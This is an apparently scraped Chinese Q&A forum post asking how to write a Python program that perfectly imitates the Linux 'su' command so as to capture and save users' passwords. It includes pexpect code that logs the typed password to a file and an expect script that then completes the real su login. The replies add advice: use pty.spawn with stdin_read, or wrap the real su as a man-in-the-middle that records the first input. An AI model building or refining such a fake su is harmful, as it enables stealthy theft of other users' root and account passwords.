使用python 来模仿Linux中的“su”命令
问题描述
如题,工具需要模仿的百分之百的像,为了获取用户的密码,并保存下来。
寻求大佬提供解决思路或相关指点,感谢。
问题出现的平台版本及自己尝试过哪些方法
- 已经尝试过
pexpect
库,并暂且使用其中的logfile
属性来进行记录用户的输入。
尝试交互的interact
方法不适用,因为虽然可以完成如同su
的交互,但是在logfile
关闭后进行交互会报I/O operation on closed file
的错,如果在logfile
文件操作中进行interact
则日志则会很混乱。 暂且通过调用shell中
expect
来完成交互。
设置过关闭Password:
回显,但是最后会显示一行空行。
相关代码
#python su.pyimport pexpect
...
def mock_su_need_pwd():
pwd=getpass.getpass("Password:")
p=pexpect.spawn("su")
p.expect("Password:")
p.logfile=open("tmp.txt","a")
p.sendline(pwd)
p.expect(["Password:","su: user opl does not exist","[\$%%#]","su: Authentication failure"])
p.logfile.close()
os.system("./test.sh "+pwd)
#test.sh! /usr/bin/expect
log_user 0
spawn su
log_user 1
expect "Password:"
log_user 0
set pwd [lindex $argv 0]
log_user 1
send "$pwd\r"
interact
你期待的结果是什么?实际看到的错误信息又是什么?
实际运行结果:
#pwd is incorrect[opl@xxx]$ python su.py
Password:
Password:
su:Authentication ..
# pwd is correct
[opl@xxx]$python su.py
Password:
Password:
[root@xxx]#
期望运行结果:
同su
需要应用的平台:基本所有的Linux版本可执行。
回答:
最后采用了pty.spawn,配置stdin_read参数,具体可参考py3中的script那个例子,完成密码的读取.
回答:
要偷密码,模仿不如用真的,
可以试试用python的multiprocessing.Pipe,同时接管su的参数、输入和输出
除了开头几行记录密码的处理,后面都原样搬运
man in the middle
以上是 使用python 来模仿Linux中的“su”命令 的全部内容, 来源链接: utcz.com/p/937640.html